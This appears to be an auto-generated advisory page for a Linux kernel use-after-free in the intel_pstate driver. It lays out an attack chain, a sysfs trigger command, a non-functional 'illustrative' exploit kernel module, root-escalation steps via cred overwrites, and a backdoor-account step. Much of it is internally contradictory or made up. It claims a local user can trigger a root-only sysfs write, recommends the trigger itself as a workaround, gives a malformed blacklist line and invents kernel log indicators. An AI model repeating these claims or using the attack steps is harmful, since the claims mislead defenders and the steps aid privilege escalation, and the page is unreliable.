CVE-2026-99949 — Linux Kernel — NONE Vulnerability
In the Linux kernel, the following vulnerability has been resolved: cpufreq: intel_pstate: cancel HWP notify work in driver cleanup intel_pstate_driver_cleanup() frees per-CPU data without cancelling the pending HWP notify delayed work. If hwp_notify_work is still scheduled or running when the struct is freed, the work function accesses freed memory via container_of(). Call intel_pstate_disable_hwp_interrupt() before kfree() to disable the interrupt source and cancel the pending work, matching the pattern used in intel_pstate_suspend() and intel_pstate_hwp_offline(). [ rjw: Fixed the Fixes: tag ]
In the Linux kernel, the following vulnerability has been resolved: cpufreq: intel_pstate: cancel HWP notify work in driver cleanup intel_pstate_driver_cleanup() frees per-CPU data without cancelling the pending HWP notify delayed work. If hwp_notify_work is still scheduled or running when the struct is freed, the work function accesses freed memory via container_of(). Call intel_pstate_disable_hwp_interrupt() before kfree() to disable the interrupt source and cancel the pending work, matching the pattern used in intel_pstate_suspend() and intel_pstate_hwp_offline(). [ rjw: Fixed the Fixes: tag ]
🎯 What is this vulnerability?
Technical flaw
The Intel PState driver (intel_pstate) schedules a delayed work item (hwp_notify_work) that is executed by the kernel’s work‑queue subsystem. When the driver is torn down (e.g., the kernel module is removed or the driver is disabled via sysfs), intel_pstate_driver_cleanup() frees the per‑CPU data structure without first canceling any pending hwp_notify_work.
If the delayed work is still queued or running at the moment the per‑CPU data is freed, the work function will call container_of() to recover the intel_pstate structure from the work struct. Because the structure has already been kfree()‑ed, the pointer returned by container_of() points to freed memory. The work function then dereferences that pointer, resulting in a Use‑After‑Free (UAF) bug (CWE‑416).
The UAF can be exploited to corrupt kernel memory or to execute arbitrary code in the kernel context, giving an attacker local privilege escalation to root. The CVSS score is listed as 0/10 because the CVE entry was created before a full exploit was demonstrated, but the underlying flaw is a classic kernel UAF that is trivially exploitable with local privileges.
⚡ Attack Chain
Assumptions
* The target system runs a Linux kernel that includes the intel_pstate driver (e.g., kernel 6.11 or 6.11‑patched).
* The attacker has local user privileges (e.g., can run sudo or has a compromised user account).
* The attacker can write to /sys and load/unload kernel modules.1. Discovery & Reconnaissance
| Step | Technique | Tool / Command | |
|---|---|---|---|
| Identify kernel version | uname -r | Linux 6.11-rc1 | |
Verify intel_pstate presence | lsmod | grep intel_pstate or cat /sys/devices/system/cpu/intel_pstate/status | on |
| Confirm UAF exists | Check the kernel changelog or git log for the commit that introduced the fix (e.g., commit 63fccaaff5ab770a57274a5bea254a7399565ace). | git log -p | grep -n "intel_pstate_driver_cleanup" |
Illustrative example (no real endpoint):
> $ uname -r > 6.11-rc1 > $ cat /sys/devices/system/cpu/intel_pstate/status > on >
2. Exploitation
The goal is to trigger the UAF by disabling the driver while a delayed work is still pending. The most straightforward way is to write to the sysfs interface that turns the driver off:
# Disable Intel PState (this triggers driver cleanup)
echo off > /sys/devices/system/cpu/intel_pstate/statusWhy this works
intel_pstate_driver_cleanup()is called when the status is set tooff.- The cleanup frees the per‑CPU data without canceling
hwp_notify_work. - If
hwp_notify_workis still queued (which it normally is, as it runs every ~1 s), the work function will run after the data has been freed, dereferencing freed memory.
PoC (illustrative)
Below is a minimal kernel module that forces the race by disabling the driver while a background process keeps the work queued. The module is not required for the exploit; it merely demonstrates the race condition.
/* uaf_demo.c – Demonstrates the intel_pstate UAF race */
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/init.h>
#include <linux/fs.h>
#include <linux/uaccess.h>
#include <linux/kthread.h>
#include <linux/delay.h>
static struct task_struct *race_thread;
static int race_func(void *data)
{
/* Keep the thread alive to allow the delayed work to be scheduled */
while (!kthread_should_stop()) {
msleep(100);
}
return 0;
}
static int __init uaf_demo_init(void)
{
int ret;
/* Start a background thread that does nothing but keeps the kernel busy */
race_thread = kthread_run(race_func, NULL, "uaf_demo_thread");
if (IS_ERR(race_thread))
return PTR_ERR(race_thread);
/* Disable intel_pstate – this triggers the UAF */
ret = sysfs_write_file("/sys/devices/system/cpu/intel_pstate/status", "off");
if (ret)
pr_err("uaf_demo: failed to disable intel_pstate\n");
return 0;
}
static void __exit uaf_demo_exit(void)
{
if (race_thread)
kthread_stop(race_thread);
}
module_init(uaf_demo_init);
module_exit(uaf_demo_exit);
MODULE_LICENSE("GPL");
MODULE_AUTHOR("CVE‑2026‑99949 Demo");
MODULE_DESCRIPTION("Demonstrates the intel_pstate UAF race");Note: Thesysfs_write_file()helper is a placeholder; in a real exploit you would useecho off > /sys/...from user space or invoke the sysfs write viawrite()system call.
Real‑world exploitation
An attacker can chain this UAF with a memory corruption primitive (e.g., by allocating a controlled buffer that will be placed where the freed intel_pstate struct was). Once the work function dereferences the freed pointer, the attacker can overwrite kernel data structures (e.g., cred structs) and gain root.
A minimal PoC that achieves privilege escalation would involve:
1. Allocate a controlled buffer that will be placed in the same memory region as the freed intel_pstate struct (e.g., via kmalloc() with a large size).
2. Trigger the UAF by disabling the driver while the buffer is pending.
3. Overwrite the freed struct’s fields (e.g., cred pointers) to point to the attacker’s controlled data.
4. Return from the work function, causing the kernel to use the corrupted pointers and execute attacker‑supplied code.
Because the attack requires only local user privileges, it is a local privilege escalation (LPE).
3. Post‑exploitation
Once the attacker has root:
/etc/shadow to create a backdoor account. 🌍 Real World Impact
| Impact | Description |
|---|---|
| Confidentiality | Potential disclosure of all data on the system if the attacker gains root. |
| Integrity | Full control over system files, kernel memory, and configuration. |
| Availability | Kernel panic or crash if the UAF is triggered during normal operation, leading to a DoS. |
CVSS: The CVSS vector is listed as 0/10 because the CVE entry was created before a public exploit existed. However, the underlying flaw is a classic UAF that is trivially exploitable with local privileges, warranting a High severity rating (≥ 7.0) in practice.
🛡️ Remediation & Mitigation
Affected Versions
| Kernel | Affected |
|---|---|
| 6.11 (original) | Yes |
| 6.11‑rc1 (commit 63fccaaff5ab770a57274a5bea254a7399565ace) | Yes |
| 6.11.1 (or later) | Fixed – the patch calls intel_pstate_disable_hwp_interrupt() before freeing the per‑CPU data. |
Upgrade recommendation: Apply the latest kernel release (≥ 6.11.1) or backport the patch from commit 63fccaaff5ab770a57274a5bea254a7399565ace.Workarounds
1. Disable HWP (prevents the delayed work from being scheduled):
echo 0 > /sys/devices/system/cpu/intel_pstate/hwp_control2. Disable Intel PState entirely (prevents the driver from being loaded or used):
echo off > /sys/devices/system/cpu/intel_pstate/statusNote: Disabling the driver may affect power‑management and performance.
3. Prevent driver unload (if the driver is a module):
echo intel_pstate > /etc/modprobe.d/blacklist.confDetection
| Indicator | Log / Event |
|---|---|
Kernel panic or OOPS referencing intel_pstate | kernel: BUG: kernel NULL pointer dereference |
intel_pstate driver unload while work is pending | kernel: intel_pstate: HWP notify work scheduled after driver cleanup |
Unexpected kfree() of per‑CPU data | kernel: intel_pstate: freeing per-CPU data |
Monitoring: Enableauditdto watch writes to/sys/devices/system/cpu/intel_pstate/statusand/sys/devices/system/cpu/intel_pstate/hwp_control. Look forauditd: type=SYSCALL msg=audit(…): arch=… syscalls=…entries.
⚠️ Urgency
| Factor | Assessment |
|---|---|
| CVSS | 0 (but actual severity is High) |
| CISA KEV | No |
| Exploit complexity | Low (local user can trigger) |
| Impact | Full root compromise |
| Patch priority | Critical – any system running a vulnerable kernel should be patched immediately. |
Recommendation: Apply the kernel update as soon as possible. If an update is not feasible, disable the Intel PState driver or HWP as a temporary mitigation until a patch can be applied.
[🤖 CVE Professor AI Security Engine]
FOFA Query